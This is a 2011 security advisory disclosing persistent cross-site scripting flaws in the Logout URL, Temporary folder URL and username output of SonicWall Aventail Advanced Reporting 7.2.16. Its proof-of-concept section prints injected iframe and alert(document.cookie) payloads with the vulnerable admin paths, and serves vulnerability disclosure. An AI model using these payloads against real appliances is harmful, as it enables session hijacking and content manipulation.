SonicWall Aventail v7.2.16 - Multiple Web Vulnerabilities

Document Title:
===============
SonicWall Aventail v7.2.16 - Multiple Web Vulnerabilities


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=286
CNNVD-201112-148


Release Date:
=============
2011-11-17


Vulnerability Laboratory ID (VL-ID):
====================================
286


Product & Service Introduction:
===============================
When managing secure remote access, administrators needs to be able to know precisely who accessed what resources, 
from where and when. SonicWALL® Aventail® Advanced Reporting delivers a robust hierarchical log analysis tool that 
enables IT to track and evaluate all remote user access to an organization’s resources over a SonicWALL Aventail 
E-Class Secure Remote Access (SRA) appliance. Designed with all the configurability and power needed to generate 
and customize reports to meet enterprise-class IT and user requirements, Advanced Reporting allows IT to also 
automate repetitive functions such as updating databases and generating key reports.

(Copy of the Vendor Homepage: http://www.sonicwall.com/de/488_8564.html)


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered multiple persistent input validation vulnerabilities on SonicWalls Aventail Advanced Reporting application.


Vulnerability Disclosure Timeline:
==================================
2011-04-22:	Vendor Notification
2011-09-05:	Vendor Response/Feedback
2011-**-**:	Vendor Fix/Patch 
2011-11-18:	Public or Non-Public Disclosure


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
Multiple persistent input validation vulnerabilities are detected on Sonicwalls Aventail Advanced reporting application.
The vulnerability allows an remote attacker or local low privileged user account to inject persistent script code like JS/HTML.
Successful exploitation can result in session hijacking, phishing & persistent content manipulation.

Vulnerable Module(s):
								[+] Logout URL
								[+] Temporary folder URL; CGI folder
								[+] Index Username Output

Affected Version(s):
								Aventail Advanced Reporting - aar7.2.16_x64 - windows
								Aventail Advanced Reporting - aar7.2.16_x86 - linux-es4
								Aventail Advanced Reporting - aar7.2.16_x86 - linux-es5
								Aventail Advanced Reporting - aar7.2.16_x64 - linux-es4
								Aventail Advanced Reporting - aar7.2.16_x64 - linux-es5

Picture(s):
								../1.png
								../2.png
								../3.png
								../4.png
								../5.png
								../6.png


Proof of Concept (PoC):
=======================
The vulnerability can be exploited by remote attackers with required user inter action or by local low privileged user accounts. 
For demonstration or reproduce ...

Review: Logout URL
<tr>?????<td class="label">Logout URL:</td><td>>"?????<iframe src="http://www.vulnerability-lab.com" height="800" 
width="800"></td></tr>
<tr><td class="label"> </td><td><input 
type="checkbox" disabled="disabled" /> Never look up IP numbers using domain name server</td></tr
><tr><td class="label"> </td><td><input type="checkbox" checked="checked"
disabled="disabled" /> Only look up IP numbers for log entries</td></tr>
<tr><td class="label"> </td><td><input type="checkbox" disabled="disabled" /> Enable 
feedback agent</td></tr></table><p class="copyright">© 2011 Flowerfire</p>
</div> <!-- content -->
</body>
</html></iframe></td></tr>

... or 

<tr>?????<td class="label">Logout URL:</td><td>>"<script>alert(document.cookie)</script></td>?????</tr>


Review: Temporary folder URL
<tr>?????<td class="label">Temporary folder URL:</td><td>>"<iframe src="http://vulnerability-lab.com" height="800" 
width="800"></td></tr>
<tr><td class="label">Temporary folder:</td><td>
asdasdsad</td></tr>
<tr><td class="label">Static URL prefix:</td><td>-<
/td></tr>
<tr><td class="label">Maximum simultaneous tasks:</td><td>8</td&
gt;</tr>
</table>
<p class="copyright">© 2011 Flowerfire</p>
</div> 
<!-- content -->
</body>
</html>
</iframe></td>?????</tr>


Review: Index output
<html><head>
<title></title>
<meta http-equiv="Content-Type" content="text/html" charset="UTF-8">
<meta http-equiv=
"Content-Style-Type" content="text/css">
<link href="%3Ciframe%20src=" http:="" vulnerability-lab.com"="" height="800" 
width="800"></head><body id="admin_menu_body">?????css/sidebar.css" rel="stylesheet" type="text/css" />
<script language="JavaScript" type="text/JavaScript">var buttons = new Array();buttons['profiles'] = new Button('lea');
buttons['scheduler'] = new Button('lea');buttons['users'] = new Button('lea');
buttons['preferences'] = new Button('bra', 'col', ['miscellaneous', 'server', 'security']);
buttons['miscellaneous'] = new Button('lea');buttons['server'] = new Button('lea');buttons
['security'] = new Button('lea');buttons['tasks'] = new Button('lea');buttons['licensing'] = new Button('lea');
buttons['support'] = new Button('lea');
var _leaf_selected = null; // active button of selected view
// preload button icons
var branch_closed = new Image();branch_closed.src = "<iframe src="http://vulnerability-lab.com" height="800" width="800">picts
/menu_branch_closed.gif";var branch_opened = new Image();
branch_opened.src = "<iframe src="http://vulnerability-lab.com" height="800" width="800">picts/menu_branch_opened.gif";
var leaf = new Image();leaf.src = "<iframe src="http://vulnerability-lab.com" 
height="800" width="800">picts/menu_leaf.gif";var leaf_selected = new Image();
leaf_selected.src = "<iframe src="http://vulnerability-lab.com" height="800" width="800">picts/menu_leaf_selected.gif";
// button objects function Button(type, state, leaves) {
	this.type = type; 
// bra = branch | lea = leaf
	this.state = state; // col = collapsed | exp = expanded
	this.leaves = leaves;
}
window.onload = 
init_onload;
function init_onload() {
  ...


Review: Index Username Output
<td class="btn" style="width: 95%; padding-right: 9px;">
Logged in as '<USERNAME AS JS SCRIPT-CODE!!!>'| <a href="?dp+templates.admin.authentication.logout" 
target="_parent">Logout</a> | <a href="?dp+docs.technical_manual.toc" target="_blank">Help</a> | <a href="javascript:;" 
onclick="toggle_about_section()">About</a></td>



Reference(s):

http://127.0.0.1:8987/?dp+templates.admin.preferences.miscellaneous.miscellaneous_view
Module: Logout URL

http://127.0.0.1:8987/?dp+templates.admin.preferences.server.server_view
Module: Temporary folder URL; CGI folder

http://127.0.0.1:8987/?dp+templates.admin.index
Module: Index Username Output


PoC:
			../dp+templates.admin.preferences.miscellaneous.miscellaneous_view- logout url (general preferences)
			../dp+templates.admin.preferences.miscellaneous.miscellaneous_view- logout url (general preferences)_2
			../dp+templates.admin.preferences.server.server_view
			../dp+templates.admin.preferences.server.server_view_2
			../dp+templates.admin.preferences.server.server_view_3
			../dp+templates.index
			../index_2_late
			../index-username_1


Security Risk:
==============
The security risk of the persistent input validation vulnerabilities are estimated as medium(+).


Credits & Authors:
==================
Vulnerability Research Laboratory - Benjamin Kunz Mejri (Rem0ve)


Disclaimer & Information:
=========================
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